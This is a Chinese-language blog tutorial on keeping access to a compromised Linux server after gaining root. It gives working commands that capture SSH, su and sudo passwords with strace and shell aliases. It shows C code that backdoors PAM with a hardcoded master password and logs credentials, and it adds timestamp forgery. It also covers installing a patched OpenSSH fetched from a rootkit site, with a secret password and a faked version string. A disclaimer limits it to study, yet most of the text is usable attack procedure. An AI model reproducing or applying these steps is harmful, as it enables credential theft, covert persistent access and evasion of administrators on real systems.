权限维持 | linux密码抓取和后门(上)

作者: 1e0n
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 前言

本文主要是简单介绍在获取到Linux服务器root权限的情况下,如何获取明文密码并维持权限。感谢不愿意透露姓名的抠脚大汉提供相关的踩坑笔记。

1、Linux服务器用户密码抓取
2、PAM后门
3、OpenSSH后门

0x01 Linux服务器用户密码抓取

测试机器系统信息:centos7 x64

用户权限:ROOT

测试机器IP:192.168.122.1

1.1 什么是strace和alias?

strace是一个可用于诊断、调试和教学的Linux用户空间跟踪器。我们用它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。在后面抓取用户密码的时候,我们会使用这个软件来监控用户的ssh登录操作。

alias命令用于设置指令的别名。用户可利用alias,自定指令的别名。在用户使用特定命令时,调用strace实现对密码的抓取。

1.2 本地测试抓取密码

第一种方式:strace命令

在获取到目标ROOT权限后,可以直接在终端执行如下命令,该命令会监听sshd进程,并将登录过程及信息记录到/tmp/sshd.log文件中。

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {
    
    'print $2'}` -t -e trace=read,write -s 32 2> /tmp/sshd.log &)

在这里插入图片描述
接着模拟管理员ssh登录。输入正确的密码123。

ssh root@192.168.122.1

最后筛选登录密码。如图所示。

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/sshd.log

在这里插入图片描述
Tips:不管是正确的密码还是错误的密码都会被记录下来。

第二种方式:alias命令

首先编辑bashrc文件, vi ~/.bashrc[当前用户] 或者vi /etc/bashrc[所有用户]然后将如下命令加入文件当中并保存,注意strace权限问题。

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'

在这里插入图片描述
然后要记得使用source .bashrc命令使更改的配置生效。

接着使用如下命令查看记录的密码。(这里我输入cuowudemima作为密码,一样会被记录下来)
cat /tmp/sshpwd*.log
在这里插入图片描述
密码会以一行一个字符的方式来记录。

使用su、sudo、scp等命令也可以。

alias su='strace -o /tmp/supwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 su'
  
alias sudo='strace -o /tmp/sudopwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 sudo'
alias scp='strace -o /tmp/scppwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 scp'

0x02 PAM后门

2.1 认识PAM认证

PAM认证机制:简单来说就是linux系统采取的这一种对不同用户以及系统中的不同服务进行的安全认证机制。

PAM认证流程:linux系统首先确定所需认证的服务,然后加载相应的PAM的配置文件(位于/etc/pam.d下),最后调用认证文件(位于/lib/security下)进行安全认证。

PAM 利用: 通过编译PAM,添加后门代码,实现自定义的用户任意密码登录。

2.2 本地测试

测试机器系统信息:centos7 x64

PAM版本:1.1.8-23
用户权限:ROOT

测试机器IP:192.168.122.1

pam编译需要关闭selinux,执行命令setenforce 0临时禁用SELinux。编辑/etc/selinux/config文件,将SELINUX=enforcing修改为SELINUX=disabled临时禁用SELinux[需要重启]。

2.2.1 安装gcc环境
yum install gcc gcc-c++ kernel-devel flex flex-devel -y
rpm -aq | grep pam 查看pam版本,这里下载相应版本。
2.2.2 下载pam相应版本添加后门并编译

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

解压并编辑Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c文件,添加后门代码。

./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr

make编译

约在pam_unix_auth.c文件180行出添加如下代码:

/* verify the password of this user */
  retval = _unix_verify_password(pamh, name, p, ctrl);
        if(strcmp(p,"密码")==0){
    
    return PAM_SUCCESS;}
        if(retval == PAM_SUCCESS){
    
    
            FILE * fp;
            fp = fopen("/tmp/.sshlog", "a");
            fprintf(fp, "%s : %s\n", name, p);
            fclose(fp);
            }
  name = p = NULL;

在这里插入图片描述
2.2.3 应用编译好的pam后门
拷贝文件:cp modules/pam_unix/.libs/pam_unix.so /lib64/security/

修改时间戳:touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so

加载SO文件:stat /lib64/security/pam_unix.so

重点:验证自定义的密码是否能正常登录,否则不能退出[退出会导致系统无法再次登录]。
此后正常登录的账户密码会记录到/tmp/文件夹下的log文件内。

0x03 OpenSSH后门

3.1 OpenSSH介绍与大致利用过程

OpenSSH介绍:OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。用于Linux服务器登录 。
OpenSSH利用过程:通过重新编译OpenSSH添加后门代码,从而获取用户登入登录其他Linux服务器时候的密码,设定自定义密码,管理员修改密码之后仍能正常登入,从而维持权限。

3.2 本地测试

3.2.1 下载文件、解压、patch

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xvf openssh-5.9p1.tar.gz 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

3.2.2 修改文件内容
修改includes.h文件,在文件末尾如下:

FILE *f;
#define ILOG "/tmp/inlog"  # 记录登录到本机的用户名和密码
#define OLOG "/tmp/outlog"  # 记录本机登录到远程的用户名和密码
#define SECRETPW "xyz@123" # 远程连接密码
#endif /* IN

3.2.3 修改Openssh版本号和ssh相关文件
根据ssh -V命令查看当前机器的Openssh版本,并将version.h文件中的版本改成当前机器的版本,如下。

#define SSH_VERSION "OpenSSH_7.4p1" 
#使用当前机器的版本
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE
修改SSH相关文件:
cd /etc/ssh/ && chmod 620 moduli

chmod 600 sshd_config ssh_host_ecdsa_key ssh_host_rsa_key
chmod 644 ssh_config ssh_host_ecdsa_key.pub ssh_host_rsa_key.pub

3.2.4 编译与应用
切换到文件目录:cd /root/openssh-5.9p1
编译:./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
安装:make clean && make && make install
重启ssh服务:systemctl restart sshd.service

本文仅作为技术交流,切勿用作非法用途。

0x04 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

Guess you like

Origin blog.csdn.net/weixin_42282189/article/details/121004208